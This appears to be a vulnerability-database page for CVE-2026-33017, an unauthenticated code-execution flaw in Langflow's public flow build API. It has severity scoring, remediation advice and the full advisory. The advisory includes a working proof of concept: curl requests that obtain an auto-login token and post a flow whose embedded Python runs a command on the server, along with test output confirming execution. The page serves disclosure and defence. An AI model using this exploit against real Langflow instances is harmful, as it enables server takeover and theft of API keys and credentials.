Skip to main content

Python CVE-2026-33017

CRITICAL
Eval Injection (CWE-95)
2026-03-17 https://github.com/langflow-ai/langflow GHSA-vwmf-pq79-vjvx
9.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send POST request to /api/v1/build_public_tmp/{flow_id}/flow
  2. Exploit
    Supply malicious Python code in data parameter
  3. Execution
    Code executed unsandboxed via exec()
  4. Impact
    Remote code execution as application user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation. Attacker sends POST request to /api/v1/build_public_tmp/{flow_id}/flow endpoint with malicious Python code in the optional data parameter. The endpoint executes attacker-controlled code via exec() without authentication or sandboxing.

Impact

CVSS 9.3 (Critical). KEV-listed — actively exploited. Public PoC available. No authentication required. Python code execution on server. AI/ML infrastructure often has access to sensitive data and API keys. EPSS 0.5%.

Exploit ScenarioDerived

An attacker sends a POST request to the public flow build endpoint of an internet-facing Langflow instance, including a 'data' parameter containing a flow definition with a malicious Python node. The server executes the Python code during the build process, giving the attacker: access to all API keys configured in Langflow (OpenAI, Anthropic, etc.), access to connected databases and vector stores, server-level code execution for persistence and lateral movement, and access to all flow definitions and their embedded secrets.

Act Now Prioritize within 24-48h. Why: In CISA KEV with patch available.
Exploited in the wild (CISA KEV) Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 17, 2026

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-33017, CVSS 9.3) in the public flow build API that allows attackers to execute arbitrary Python code by supplying malicious flow data. KEV-listed with public PoC, this vulnerability enables anyone with network access to a Langflow instance to achieve server compromise through the API that builds public flows without authentication.

Earlier versions of this analysis (1)
v1 Mar 17, 2026 - 20:30 CVSS 9.3

Langflow's public flow build API (CWE-95) accepts attacker-controlled flow data containing arbitrary Python code in node definitions, which is executed server-side without authentication during the build process.

RemediationAI

Update Langflow to patched version. Restrict API access to authenticated users only. Do not expose Langflow to the internet without authentication. Rotate all API keys configured in Langflow. Review stored flows for unauthorized modifications.

Affected Packages

pypi langflow fix: 1.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Langflow is a visual builder for LLM (Large Language Model) pipelines. The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without authentication. When the optional 'data' parameter is supplied, the endpoint uses the attacker-controlled flow data instead of the stored flow from the database. Since flow definitions can contain arbitrary Python code in node definitions (custom components), this enables direct code execution on the server. Many Langflow instances are internet-facing for collaboration.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

4
Started Trending
Mar 31, 2026 - 11:23 vuln.today
10.0
Added to CISA KEV
Mar 26, 2026 - 13:26 cisa
CISA KEV
PoC Detected
Mar 26, 2026 - 13:26 vuln.today
Public exploit code
CVE Published
Mar 17, 2026 - 20:05 nvd
CRITICAL 9.3

DescriptionGitHub Advisory

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
# ATTACKER CONTROLLED
    request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,
# Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81
  2. create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

python
def prepare_global_scope(module):
    exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)
# line 352
        exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)
# line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

bash
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

bash
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

AspectCVE-2025-3248This Vulnerability
Endpoint/api/v1/validate/code/api/v1/build_public_tmp/{id}/flow
Fix appliedAdded Depends(get_current_active_user)None -- NEW vulnerability
Root causeMissing auth on code validationUnauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution viavalidate_code() → exec()create_class() → prepare_global_scope() → exec()
CISA KEVYes (actively exploited)N/A (new finding)
Can simple auth fix?Yes (and it was fixed)No -- endpoint is *designed* to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

python
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )

Executive ViewAI

Why It Matters

An unauthenticated remote code execution vulnerability exists in public flow endpoints that allows attackers to execute arbitrary Python code on affected servers without any credentials. This bypasses authentication mechanisms entirely and could enable complete system compromise, data theft, or lateral movement within your infrastructure.

Business Impact: Severe
Compensating Controls
  1. Implement WAF rules blocking POST requests to /api/v1/build_public_tmp/{flow_id}/flow endpoint or restrict to allowlisted IP ranges; 2) Disable public flow building features entirely until patch available; 3) Network segmentation: isolate affected application from sensitive systems and databases; 4) Implement API request filtering to reject payloads containing Python exec keywords ('exec', 'eval', 'import', '__builtins__'); 5) Enable comprehensive API logging and monitoring for anomalous endpoint access; 6) Run affected systems with minimal file system and OS permissions; 7) Monitor vendor security advisories daily for patch ETA.

Threat Intelligence Overview

Threat Score
4.9/10
Composite threat intelligence
EPSS Score
0.5%
Top 34% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV Yes
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat Yes
Deciding rule
In CISA KEV with patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Immediate
Exploitation· derived
Active
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

131
Low Medium High Critical
KEV: +50
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:pip/langflow

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy